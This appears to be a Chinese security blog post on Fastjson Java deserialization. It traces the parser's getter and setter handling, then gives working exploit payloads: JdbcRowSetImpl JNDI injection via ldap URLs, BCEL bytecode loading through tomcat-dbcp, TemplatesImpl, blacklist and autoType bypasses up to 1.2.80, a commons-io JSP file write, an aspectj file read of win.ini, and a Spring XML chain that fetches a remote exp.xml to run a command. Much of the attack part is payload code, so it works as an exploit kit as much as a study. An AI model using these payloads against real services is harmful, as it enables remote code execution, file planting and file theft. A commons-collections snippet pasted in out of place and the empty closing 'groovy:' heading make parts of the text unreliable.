fastjson

本文最后更新于：1 个月前

基于Fastjson的反序列化

poc

1
{"@type":"java.net.Inet4Address","val":"test.dnslog.com"}

依赖库探测

1
{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}

有别于原生ObjectInputStream的反序列化，fastjson的反序列化不依赖于readObject()方法，而是会自动调用类的getter和setter

因此也不需要实现Serializable接口

变量也不受transient的限制

引入依赖：

1
2
3
4
5
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

基础用法：

1
2
3
String jsonStr = "{\"id\":1,\"name\":\"potato\",\"age\":20}";
User user = JSON.parseObject(jsonStr, User.class);
System.out.println(user);
1
2
3
4
5
6
String jsonStr = "{\"id\":1,\"name\":\"potato\",\"age\":20}";
JSONObject jsonObject = JSON.parseObject(jsonStr);
int id = jsonObject.getIntValue("id");
String name = jsonObject.getString("name");
int age = jsonObject.getIntValue("age");
System.out.println(id + ", " + name + ", " + age);

调试逻辑

UserImpl：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.potato.Entity;

public class UserImpl implements User{
    public String name;
    private int age;

    public UserImpl(){}

    public UserImpl(String name, int age){
        System.out.println("constructor");
        setName(name);
        setAge(age);
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }

//    @Override
//    public String toString() {
//        return "UserImpl{" +
//                "name='" + name + '\'' +
//                ", age=" + age +
//                '}';
//    }
}

调试代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.potato;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.potato.Entity.User;
import com.potato.Entity.UserImpl;
import com.sun.rowset.JdbcRowSetImpl;

public class Main {
    public static void main(String[] args) {

        String s = "{\"@type\":\"com.potato.Entity.UserImpl\",\"name\":\"potato\",\"age\":\"20\"}";

        JSONObject test = JSON.parseObject(s);
        System.out.println(test.toString());
    }
}

在parseObject()行打上断点，跟进调试

多步过一步，发现obj在parse的过程已经变成了UserImpl对象，因此parse()的过程必然存在一个fastjson反序列化

回退一步，跟进parse()

继续跟进

来到了新的一处parse，在136行出现了一个DefaultJSONParser，是用于生成一个默认的解析json字符串的解析器，

其最后一个参数feature是用来指定一些规则，如对于多个逗号的处理，空格的处理等

步过，跟进parser.parse()，反序列化的核心逻辑就在这里面

开头进行了对token进行了检验（大括号，中括号字符等），此处token对应的是一个json字符串，由左大括号开头，因此走到LBRACE

PS：对于token的初始化可以来到defaultJSONparser的构造函数来看

行

1
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));

没有传入lexer本身，或者是任何和我们json字符串内容相关的，

断定反序列化还没进行，创建一个空的object用来后续装载生成的JSONObject对象

直接步过，跟进

1
parseObject(object, fieldName)

代码如下用于跳过任意个逗号，不重要

pass

1
2
3
4
5
6
7
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
    while (ch == ',') {
        lexer.next();
        lexer.skipWhitespace();
        ch = lexer.getCurrent();
    }
}

随后定义了一个key变量，用于存放json中的键名

if做判断，当前是双引号变进行操作然后读取两个双引号之间的内容

获取到key之后向下走，来到了对key的判断

这里把代码块收起来方便做一个宏观的分析

如果key的值是@type，即我们当前的情况

走进第一个if代码块

展开分析

来到一处loadClass，跟进看看

首先会从mappings缓存中查找class，找到了就直接返回了

没找到的话先根据className进行类特殊性检验，如[开头就意味着是数组类，则返回Array对象，如果是L开头;结尾的类数组写法，则去掉首位，再调用loadClass（forName支持对数组的类加载loadClass不支持）

（这个地方可以挖个坑先，，）

之后就是简单的调AppClassLoader在本地加载类，加入缓存，返回

继续往下跟，来到这个地方，

出现了我们一开始传入的空的object，

实际上每一轮循环加载完一对key和value就会往object内存入

第一轮尚未结束，没存入任何的东西所以这里还是暂时跳过

下方来到最关键的一部分

是真正开始fastjson反序列化流程的一部分

从config中获取一个反序列化器，紧接着通过这个反序列化器进行反序列化

1
2
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

直接步过看看这个反序列化器是个什么东西

结果一看，，看上去像是什么临时的东西？

回退跟进看看是啥吧

先从缓存中获取derializer

ps：在ParseConfig的构造函数中将许多内置类put进了缓存中，

但是显然我们这个UserImpl不在，，

继续往下走，跟进getDeserializer()

往下走，来到一处代码块，若在被序列化的类上面使用了@JSONType注解，则会走进这里面的获取反序列化器的逻辑进行操作

等于说是用户自定义了一个反序列化器

关于fastjson的@JSONType注解的内容可以上网搜搜

这里做个小插曲方便理解，不重要

pass

继续往下走，来到了一处黑名单

展开一看，长舒一口气，并不是对一些危险类进行过滤，只是禁了Thread防止线程问题

之后便是一堆的判断，判断类是否为某个包下的然后对应进行处理

一路skip过去，来到了创建JavaBeanDeserializer，顾名思义

应该是生成一个JavaBean的反序列化解析器

而bean的结构正好是getter，setter之类，先提一嘴，方便后续理解

跟进，开头定义了局部变量asmEnable为true

继续往下看，几种情况下asmEnable会变为false

父类标识符为非public

泛型类型参数不为0

（如UserImpl<T,U>的返回结果就是2，UserImpl<T>的返回结果就是1）

class是否使用ExtClassLoader类加载器

这里稍微进isExternal分析一下

while循环一轮过后，current为ASMClassLoader的父类加载器，即AppClassLoader

假如说这里的clazz的类加载器classLoader是ExtClassLoader，为拓展库的类，则会返回true

但是UserImpl显然是应用程序的类，其类加载器也应为AppClassLoader

出来后继续往下走，发现还有一部分的能让asmClassLoader为false的地方

比较简单就不一一列举了

这里有一行JavaBeanInfo.build()方法的调用，

前面分析jndi注入高版本tomcat绕过到ELProcessor内的时候有见到过这个beanInfo，主要就是返回bean的一些属性包括属性名，方法名，getter，setter等

跟进

先获取类的属性，public的方法，构造方法等

判断没有默认构造函数的逻辑，这里我们进不去，pass

328行开始，将for代码块收起来，宏观上分为三部分

第一部分，遍历所有的public方法

第二部分，遍历所有public的属性

第三部分，再次遍历所有的public方法

（实际上第一次遍历是调所有的setter，第二次遍历是调所有的getter）

继续往下走

先进行第一部分的遍历

判断方法名是否小于四

判断方法是否为静态

返回值既不为void也不为UserImpl本身的时候（setter），continue循环

此时由于方法名是getter，于是跳过，查找下一个方法

第二轮来到了getName

作为setter传入一个参数合情合理

将setter对应的property全部字符转小写，Name变为name

往后一直走，通过setter操作遍历完field过后，将结果保存到fieldList

我们来看一下这个FieldInfo

可以留意一下里面的getOnly变量，先埋下伏笔

setter都遍历完之后，开始遍历所有的public字段

对field的遍历过程比较简单，不做详细描述了

快进到getter的遍历，前面的代码逻辑几乎和setter遍历是相似的

往下走，有这样一段代码

只有当getter的返回值满足这个if中的Collection、Map等，才能进入到代码中走到最后的add

也就是说才能被当做一个property被加入到fieldList中

同时需要保证fieldList中不包含

也就是说如果前面setetr将某个字段加入到fieldList后，就不再通过getter加入了

结束了getter的遍历之后来到了最后一行return将前面遍历的字段还有方法之类的封装起来

走出来后，能在beanInfo中看到刚刚封装好的字段

出来之后还有一些情况能让asmEnable变为false

上面多次提到这个asmEnable，所以到底他起到什么作用呢

往下走之后，紧接着就走到一个if判断

如果asmEnable是默认的true的话，那么不会走到new JavaBeanDeserializer，而是会返回一个asmFactory的创建反序列化器的方法

跟进去看看

是不是很眼熟？？

这不就是之前长得乱七八糟的那个临时反序列化器吗

请看vcr：

而这个临时创建的类在调试过程中发现根本不清楚这个过程做了什么

调用栈上虽然有，但是点击并没有任何的反应

想要调试我们只能让asmEnable为false，然后new JavaBeanDeserializer来创建一个反序列化器

在上面的伏笔中中，存在通过判断字段是否getOnly来关闭asmEnable

回到上面FieldInfo中的getOnly处，判断方法的参数是否为1（getter为0），如果判断是getter就让getOnly为true（顾名思义getOnly）

因此可以是通过一个对象，与其对应的只有一个getter（如果有setter会优先调用setter而不会调用getter）

但是上面分析过了调用这个getter需要getter的返回值满足那几种类型（Collection、Map等）

修改UserImpl：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.potato.Entity;


import com.alibaba.fastjson.annotation.JSONType;

import java.util.Map;

//@JSONType(orders = {"name","age"},ignores = {"age"})
public class UserImpl implements User{
    public String name;
    private int age;
    private Map map;
    public UserImpl(){}

    public UserImpl(String name, int age){
        System.out.println("constructor");
        setName(name);
        setAge(age);
    }
    
......(其他字段的setter、getter)

    public Map getMap(){//只能有getter
        return map;
    }
}

重新调试，再次来到创建JavaBeanDeserializer的地方，此时asmEnable已经关闭

（折腾了半天实际上就是为了弄一个便于调试的反序列化器，，）

拿到了反序列化器之后继续进行调试，看看反序列化的过程发生了什么

355行之后是对每个字段遍历进行实例化赋值操作

570行，步入createInstance()

跟进来，走到下面有一处对构造函数的实例化，步入

来到了我的无参构造函数

调用完构造函数之后获得object，继续往下走

走到setValue()处，开始给字段赋值了

也是到了最重要的一部分了，跟进去

一路往下走，来到了一处反射，调用setter来完成赋值

步过，控制台输出setName

age的赋值同理，

至此一整个反序列化的流程结束

回退到前面的obj，成功拿到了UserImpl对象

在继续往下走的过程来到toJSON()，会调用getter

调用栈如下，可以自行调试一下（懒得写了）

1
2
3
4
5
6
7
8
9
10
11
12
getAge:32, UserImpl (com.potato.Entity)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:22, Main (com.potato)

gadget

JdbcRowSetImpl

在connect()方法下存在明显的jndi注入

databaseMetaData的getter处存在调用

在autocommit的setter方法下存在connect()的调用

但是由上面逻辑调试中的分析，想调用getter有两种途径：

1、返回值规定的那些个getter才能被add到fieldList中后续被调用，但是这里的返回值DatabaseMetaData显然不符合要求

2、需要能走到toJSON，而走到toJSON需要保证到你这需要的getter之前的所有getter流程不抛出异常，能正常invoke

但是这里第一个方法就gg了没invoke成功

因此只能走setter

lookup的参数，即jndi注入的地址，是通过一个getter获取的

启动ldap服务，在7000端口挂载恶意类

payload：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.potato;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.potato.Entity.User;
import com.potato.Entity.UserImpl;
import com.sun.rowset.JdbcRowSetImpl;

public class Main {
    public static void main(String[] args) {

        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com\",\"AutoCommit\":true}";

        JSONObject test = JSON.parseObject(s);
        System.out.println(test.toString());
    }
}

条件：需出网，jdk<8u191

bcel.ClassLoader(不出网)

定位到利用类

根据ClassLoader的逻辑

1
2
3
4
5
6
7
8
9
10
        ClassLoader classLoader = new ClassLoader();

        byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));

        String str = Utility.encode(bytes,true);
//        System.out.println(str);

        str = "$$BCEL$$" + str;

        classLoader.loadClass(str).newInstance();

其中encode的原因是跟进了createClass之后

存在decode

继续向上找哪里调用了loadClass

引入依赖

1
2
3
4
5
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.20</version>
</dependency>

         ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer(“getMethod”,new Class[]{String.class,Class[].class},new Object[]{“getRuntime”,new Class[]{}}),                new InvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null,null}),                new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”})       });//       chainedTransformer.transform(11);​        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);​        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);        Class c = priorityQueue.getClass();        Field queueField = c.getDeclaredField(“queue”);        queueField.setAccessible(true);        queueField.set(priorityQueue,new Object[]{1,2,chainedTransformer});​        Field sizeField = c.getDeclaredField(“size”);        sizeField.setAccessible(true);        sizeField.set(priorityQueue,3);​        Utils.serialize(priorityQueue);        Utils.unserialize(“obj.ser”);java

存在forName类加载，

如果让driverClassLoader为前面提到的bcel的classLoader，就能走它的loadClass()，也就能触发漏洞

刚好二者都存在对应的setter，变得可控

继续向上追踪，谁调用了createConnectionFactory()

createDataSource下调用了createConnectionFactory()

两个getter和一个setter下都调用了createDataSource()

正向漏洞代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
        ClassLoader classLoader = new ClassLoader();

        byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));

        String str = Utility.encode(bytes,true);
//        System.out.println(str);

        str = "$$BCEL$$" + str;

        BasicDataSource basicDataSource = new BasicDataSource();
        basicDataSource.setDriverClassName(str);
        basicDataSource.setDriverClassLoader(classLoader);
        basicDataSource.getLogWriter();

如果用setter：

1
2
3
4
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"LogWriter\":{\"@type\":\"java.io.PrintWriter\"},\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\""+str+"\"}";


JSONObject test = JSON.parseObject(s);

直接出现报错：

补充一点：反序列化过程中涉及到的类，都需要有默认的无参构造函数

（对啊他是Bean怎么能没有无参构造函数啊啊啊啊啊）

这里的setLogWriter的参数PrintWriter没有默认构造函数，所以直接寄

这里用getter发现前面刚好没有异常，能被利用

payload

1
2
3
4
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\""+str+"\"}";


JSONObject test = JSON.parseObject(s);

Spring

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
    "a": {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "b": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "c": {
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "payload"//字节码
    }
}

万能TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
        },
    "b": {
        "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        "_bytecodes": ["字节码"],
        '_name': 'a.b',
        '_tfactory': {},
        "_outputProperties": {},
        "_name": "b",
        "_version": "1.0",
        "allowedProtocols": "all"
      }
}

fastjson高版本绕过

fastjson<=1.2.47通杀

1
2
3
4
5
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

再拿上面的payload跑一下，直接报错

打个断点让我看看怎么个事

调用栈回退一个

发现是在判断key值是否为@type之后做了一个checkAutoType的校验

直接被黑名单拦截下来了

黑名单：

只有通过了黑白名单的校验后才能继续到类加载

白名单默认是空的，所以显然走不到这里的类加载

继续找找别的类加载的地方，往下走

进去看看

是从缓存中的指定类中获取，

若缓存中没有的话，又会继续从反序列化器去找

进来看了下，也是从deserializer缓存中加载类

缓存，，写死了，，，吗（？），等等，先不急着pass，看看能不能控制往缓存中加入我们想要的类

寻找类加载的地方的时候时刻注意autoTypeSupport和expectClass这两个属性

下面还有一处类加载，但是注意到这里的条件是false，进不去

pass

全部的类加载的地方都找到了，总结一下只能看看能不能向缓存中添加一些类来绕过

查找对mapping进行put操作的部分，来到TypeUtil的loadClass()方法

查找loadClass()的用法

checkAutoType()函数中调用，但是受限于if，都走不进去

然后就是MiscCodec中的deserializer()中，当clazz为Class.class的时候，会将strVal放入loadClass中

在deserializer()方法中，说明这东西和反序列化有关，

注意点MiscCodec实现了ObjectSerializer和ObjectDeserializer接口，所以这玩意本质上是一个序列化器反序列化器

上文提到过反序列化器是从config中获取到的

这个config我们上文几乎分析过了，走进去底层实际上是在deserializer缓存里找class对应的键值对

如果我们反序列化的类是Class，那么就会调用MiscCodec的反序列化器

在反序列化的时候走到deserializer()中就会调用MiscCodec的loadClass()，然后就会把我们传入的字符串传给loadClass()

1
2
3
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/JYIIDwoM\",\"AutoCommit\":true}}";

JSONObject test = JSON.parseObject(s);

再次走到这里的时候，已经成功将恶意类加载进mapping了

题外话：

实际使用fastjson1.2.47走到checkAutoType的时候会发现和1.2.25是不一样的

原先的denyLists黑名单变成了一个哈希表，主打的就是一个防止安全人员研究这玩意来进行绕过，，

但是在这个版本还是没防住通过向mappings添加类名来达到类加载的绕过

已破解开的黑名单哈希如下：https://github.com/LeadroyaL/fastjson-blacklist

fastjson<=1.2.68

//TODO

1.2.48之后，fastjson在MiscCodec.deserializer()中触发TypeUtils.loadClass()的地方加入了一个cache参数

然后在loadClass下加入了一个对cache的判断，只有cache为true才能向mappings中put一个新的类

两个黑名单的绕过：

1
2
3
4
{
  "@type":"org.apache.shiro.jndi.JndiObjectFactory",
  "resourceName":"ldap://192.168.80.1:1389/Calc"
  }
1
2
3
4
{
  "@type":"org.apache.xbean.propertyeditor.JndiConverter",
  "AsText":"rmi://127.0.0.1:1099/exploit"
}

fastjson=1.2.80

//TODO

commons-io写文件，su18师傅给出的poc如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import jdk.nashorn.internal.parser.JSONParser;


public class demo {
    public static void main(String[] args) {
        String code = "test";
        for (int i = 0; i < 8200; i++) {
            code += "a";
        }
        String poc2 = "    \r\n"
                + "    {\r\n"
                + "  \"su14\": {\r\n"
                + "    \"@type\": \"java.lang.Exception\",\r\n"
                + "    \"@type\": \"ognl.OgnlException\"\r\n"
                + "  },\r\n"
                + "  \"su15\": {\r\n"
                + "    \"@type\": \"java.lang.Class\",\r\n"
                + "    \"val\": {\r\n"
                + "      \"@type\": \"com.alibaba.fastjson.JSONObject\",\r\n"
                + "      {\r\n"
                + "        \"@type\": \"java.lang.String\"\r\n"
                + "        \"@type\": \"ognl.OgnlException\",\r\n"
                + "        \"_evaluation\": \"\"\r\n"
                + "      }\r\n"
                + "    },\r\n"
                + "    \"su16\": {\r\n"
                + "      \"@type\": \"ognl.Evaluation\",\r\n"
                + "      \"node\": {\r\n"
                + "        \"@type\": \"ognl.ASTMethod\",\r\n"
                + "        \"p\": {\r\n"
                + "          \"@type\": \"ognl.OgnlParser\",\r\n"
                + "          \"stream\": {\r\n"
                + "            \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"
                + "            \"delegate\": {\r\n"
                + "              \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"
                + "              \"reader\": {\r\n"
                + "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"
                + "      \"is\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"
                + "        \"input\":{\r\n"
                + "      \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\r\n"
                + "      \"reader\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\r\n"
                + "        \"charSequence\":{\"@type\":\"java.lang.String\"\""+code+"\"\r\n"
                + "      },\r\n"
                + "      \"charsetName\":\"UTF-8\",\r\n"
                + "      \"bufferSize\":1024\r\n"
                + "    },\r\n"
                + "            \"branch\":{\r\n"
                + "      \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\r\n"
                + "      \"writer\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\r\n"
                + "        \"file\":\"1.jsp\",\r\n"
                + "        \"encoding\":\"UTF-8\",\r\n"
                + "        \"append\": false\r\n"
                + "      },\r\n"
                + "      \"charsetName\":\"UTF-8\",\r\n"
                + "      \"bufferSize\": 1024,\r\n"
                + "      \"writeImmediately\": true\r\n"
                + "    },\r\n"
                + "        \"closeBranch\": true\r\n"
                + "      },\r\n"
                + "      \"httpContentType\":\"text/xml\",\r\n"
                + "      \"lenient\":false,\r\n"
                + "      \"defaultEncoding\":\"UTF-8\"\r\n"
                + "    },\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bufferSize\": 1024\r\n"
                + "            },\r\n"
                + "            \"boms\": [{\r\n"
                + "              \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bytes\": [\r\n"
                + "                36,82\r\n"
                + "              ]\r\n"
                + "            }]\r\n"
                + "          }\r\n"
                + "        }\r\n"
                + "      }\r\n"
                + "    },\r\n"
                + "    \"su17\": {\r\n"
                + "      \"@type\": \"ognl.Evaluation\",\r\n"
                + "      \"node\": {\r\n"
                + "        \"@type\": \"ognl.ASTMethod\",\r\n"
                + "        \"p\": {\r\n"
                + "          \"@type\": \"ognl.OgnlParser\",\r\n"
                + "          \"stream\": {\r\n"
                + "            \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"
                + "            \"delegate\": {\r\n"
                + "              \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"
                + "              \"reader\": {\r\n"
                + "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"
                + "      \"is\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"
                + "        \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"
                + "        \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"
                + "        \"closeBranch\": true\r\n"
                + "      },\r\n"
                + "      \"httpContentType\":\"text/xml\",\r\n"
                + "      \"lenient\":false,\r\n"
                + "      \"defaultEncoding\":\"UTF-8\"\r\n"
                + "    },\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bufferSize\": 1024\r\n"
                + "            },\r\n"
                + "            \"boms\": [{\r\n"
                + "              \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bytes\": [\r\n"
                + "                36,82\r\n"
                + "              ]\r\n"
                + "            }]\r\n"
                + "          }\r\n"
                + "        }\r\n"
                + "      }\r\n"
                + "    },\r\n"
                + "    \"su18\": {\r\n"
                + "      \"@type\": \"ognl.Evaluation\",\r\n"
                + "      \"node\": {\r\n"
                + "        \"@type\": \"ognl.ASTMethod\",\r\n"
                + "        \"p\": {\r\n"
                + "          \"@type\": \"ognl.OgnlParser\",\r\n"
                + "          \"stream\": {\r\n"
                + "            \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"
                + "            \"delegate\": {\r\n"
                + "              \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"
                + "              \"reader\": {\r\n"
                + "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"
                + "      \"is\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"
                + "        \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"
                + "        \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"
                + "        \"closeBranch\": true\r\n"
                + "      },\r\n"
                + "      \"httpContentType\":\"text/xml\",\r\n"
                + "      \"lenient\":false,\r\n"
                + "      \"defaultEncoding\":\"UTF-8\"\r\n"
                + "    },\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bufferSize\": 1024\r\n"
                + "            },\r\n"
                + "            \"boms\": [{\r\n"
                + "              \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bytes\": [\r\n"
                + "                36,82\r\n"
                + "              ]\r\n"
                + "            }]\r\n"
                + "          }\r\n"
                + "        }\r\n"
                + "      }\r\n"
                + "    },\r\n"
                + "    \"su19\": {\r\n"
                + "      \"@type\": \"ognl.Evaluation\",\r\n"
                + "      \"node\": {\r\n"
                + "        \"@type\": \"ognl.ASTMethod\",\r\n"
                + "        \"p\": {\r\n"
                + "          \"@type\": \"ognl.OgnlParser\",\r\n"
                + "          \"stream\": {\r\n"
                + "            \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"
                + "            \"delegate\": {\r\n"
                + "              \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"
                + "              \"reader\": {\r\n"
                + "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"
                + "      \"is\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"
                + "        \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"
                + "        \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"
                + "        \"closeBranch\": true\r\n"
                + "      },\r\n"
                + "      \"httpContentType\":\"text/xml\",\r\n"
                + "      \"lenient\":false,\r\n"
                + "      \"defaultEncoding\":\"UTF-8\"\r\n"
                + "    },\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bufferSize\": 1024\r\n"
                + "            },\r\n"
                + "            \"boms\": [{\r\n"
                + "              \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bytes\": [\r\n"
                + "                36,82\r\n"
                + "              ]\r\n"
                + "            }]\r\n"
                + "          }\r\n"
                + "        }\r\n"
                + "      }\r\n"
                + "    },  \r\n"
                + "  }\r\n"
                + "";
        System.out.println(poc2);

        JSON.parseObject(poc2);
    }
}

aspectj 任意文件读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

{
   "@type":"java.lang.Exception",
   "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}

   {
      "@type":"java.lang.Class",
      "val":{
         "@type":"java.lang.String"{
      "@type":"java.util.Locale",
      "val":{
         "@type":"com.alibaba.fastjson.JSONObject",{
      "@type":"java.lang.String"
      "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
      "newAnnotationProcessorUnits":[{}]
   }
}
}

   {
      "x":{
         "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
         "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
         "fileName":"c:\\windows\win.ini"
      }
   }
//报错回显
{
    "@type":"java.lang.Character"
    {
        "c":{
            "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
            "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
            "fileName":"c:/windows/win.ini"
    }
}

jython+postgresql+spring-context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
    "a":{
    "@type":"java.lang.Exception",
    "@type":"org.python.antlr.ParseException",
    "type":{}
    },
    "b":{
        "@type":"org.python.core.PyObject",
        "@type":"com.ziclix.python.sql.PyConnection",
        "connection":{
            "@type":"org.postgresql.jdbc.PgConnection",
            "hostSpecs":[
                {
                    "host":"127.0.0.1",
                    "port":2333
                }
            ],
            "user":"user",
            "database":"test",
            "info":{
                "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
                "socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
            },
            "url":""
        }
    }
}

exp.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
  <constructor-arg>
    <list value-type="java.lang.String" >
       <value>cmd</value>
       <value>/c</value>
       <value>calc</value>
    </list>
  </constructor-arg>
  <property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>

groovy:

1
2
3
4
5
6
7
